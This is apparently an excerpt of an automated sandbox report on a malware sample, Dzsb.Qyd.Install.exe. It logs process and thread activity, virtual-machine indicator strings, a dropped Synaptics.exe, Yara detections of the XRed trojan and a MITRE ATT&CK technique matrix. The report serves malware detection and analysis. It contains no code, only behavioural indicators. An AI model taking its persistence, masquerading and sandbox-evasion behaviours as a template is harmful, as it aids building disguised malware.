Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 6760	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 3936	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 1328	Thread sleep time: -780000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 1536	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr	Binary or memory string: VMware-42 27 c8 0c e4 52 1d cc-a0 8f d3 a4 82 3e 8f 04
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1441338159.000000000067C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Synaptics.exe, 00000014.00000002.2140164000.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG4
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process created: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe "C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe"			Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate			Jump to behavior

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: Dzsb.Qyd.Install.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Dzsb.Qyd.Install.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1274914579.0000000000694000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dzsb.Qyd.Install.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 3588, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXE0B2.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\DUUDTUBZFW\~$cache1, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: Dzsb.Qyd.Install.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Dzsb.Qyd.Install.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1274914579.0000000000694000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dzsb.Qyd.Install.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 3588, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXE0B2.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\DUUDTUBZFW\~$cache1, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	Windows Management Instrumentation	41 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Rundll32	NTDS	1 Peripheral Device Discovery	Distributed Component Object Model	Input Capture	34 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
